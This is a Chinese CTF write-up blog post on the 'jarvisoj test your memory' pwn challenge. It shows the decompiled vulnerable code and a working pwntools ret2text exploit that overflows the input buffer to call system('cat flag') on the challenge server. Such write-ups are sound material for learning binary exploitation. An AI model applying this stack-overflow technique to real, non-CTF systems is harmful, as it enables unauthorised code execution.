Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

  • PWN

    • test your nc
    • rip
    • warmup csaw 2016
    • ciscn 2019 n 1
    • pwn1 sctf 2016
    • jarvisoj level0
    • ciscn 2019 c 1
    • 第五空间2019 决赛 PWN5
    • ciscn 2019 n 8
    • jarvisoj level2
    • OGeek2019 babyrop
    • get started 3dsctf 2016
    • bjdctf 2020 babystack
    • ciscn 2019 en 2
    • HarekazeCTF2019 baby rop
    • jarvisoj level2 x64
    • not the same 3dsctf 2016
    • ciscn 2019 n 5
    • others shellcode
    • ciscn 2019 ne 5
    • 铁人三项(第五赛区) 2018 rop
    • bjdctf 2020 babyrop
    • bjdctf 2020 babyrop2
    • jarvisoj fm
    • pwn2 sctf 2016
    • babyheap 0ctf 2017
    • HarekazeCTF2019_baby_rop2
    • ciscn 2019 es 2
    • ciscn 2019 s 3
    • jarvisoj tell me something
    • jarvisoj level3
    • ez pz hackover 2016
    • picoctf 2018 rop chain
    • Black Watch 入群题 PWN
    • jarvisoj level4
    • jarvisoj level3 x64
    • bjdctf 2020 babyrop2
    • ZJCTF 2019 EasyHeap
    • pwnable orw
    • wustctf2020 getshell
    • bjdctf 2020 router
    • hitcontraining uaf
    • picoctf 2018 buffer overflow 1
    • jarvisoj test your memory
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • mrctf2020 shellcode
    • inndy rop
    • picoctf 2018 buffer overflow 2
    • cmcc simplerop
    • xdctf2015 pwn200
    • bbys tu 2016
    • mrctf2020 easyoverflow
    • wustctf2020 getshell 2
    • ZJCTF 2019 Login
    • babyfengshui 33c3 2016
    • jarvisoj level1
    • ciscn 2019 s 4
    • ciscn 2019 n 3
    • hitcontraining magicheap
    • axb 2019 fmt32
    • gyctf 2020 borrowstack
    • wustctf2020 closed
    • pwnable start
    • others babystack
    • 0ctf 2017 babyheap
    • hitcontraining heapcreator
    • roarctf 2019 easy pwn
  • 笔记
  • PWN
Zephyr
2022-04-03
目录

jarvisoj test your memory

# jarvisoj test your memory

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/jarvisoj_test_your_memory/memory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
1
2
3
4
5
6

# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char s2[11]; // [esp+1Dh] [ebp-13h]
  int v6; // [esp+28h] [ebp-8h]
  int i; // [esp+2Ch] [ebp-4h]

  v6 = 10;
  puts("\n\n\n------Test Your Memory!-------\n");
  v3 = time(0);
  srand(v3);
  for ( i = 0; i < v6; ++i )
    s2[i] = alphanum_2626[rand() % 0x3Eu];
  printf("%s", s2);
  mem_test(s2);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

mem_test函数如下

int __cdecl mem_test(char *s2)
{
  int result; // eax
  char s; // [esp+15h] [ebp-13h]

  memset(&s, 0, 0xBu);
  puts("\nwhat???? : ");
  printf("0x%x \n", hint);
  puts("cff flag go go go ...\n");
  printf("> ");
  __isoc99_scanf("%s", &s);
  if ( !strncmp(&s, s2, 4u) )
    result = puts("good job!!\n");
  else
    result = puts("cff flag is failed!!\n");
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

win_func函数如下

int __cdecl win_func(char *command)
{
  return system(command);
}
1
2
3
4

Gadget如下

ROPgadget --binary memory --string "cat flag\x00"
Strings information
============================================================
0x080487e0 : cat flag
1
2
3
4

# 思路分析

  1. 目前信息:

    • mem_test函数存在溢出点
    • 存在后门函数win_func
    • 存在cat flag字符串
    • No canary found
    • NX enabled
    • No PIE
  2. 思路:

    • 32位ret2text

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_test_your_memory/memory'
io = remote('node4.buuoj.cn', 25219)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x13+4
win_func = elf.symbols['win_func']
cat_flag_addr = 0x080487E0
payload = flat(['a'*padding, win_func, cat_flag_addr, cat_flag_addr])
# 这里win_func函数实际上是执行system调用,调用完毕返回的地址不能设置为无效地址,不然缓冲区中的flag会无法接受到
# 随意填写一个有效地址例如cat_flag_addr,在程序崩溃后会将缓冲区内容传过来
io.sendline(payload)
print(io.recv())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
picoctf 2018 buffer overflow 1
mrctf2020 shellcode

← picoctf 2018 buffer overflow 1 mrctf2020 shellcode→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×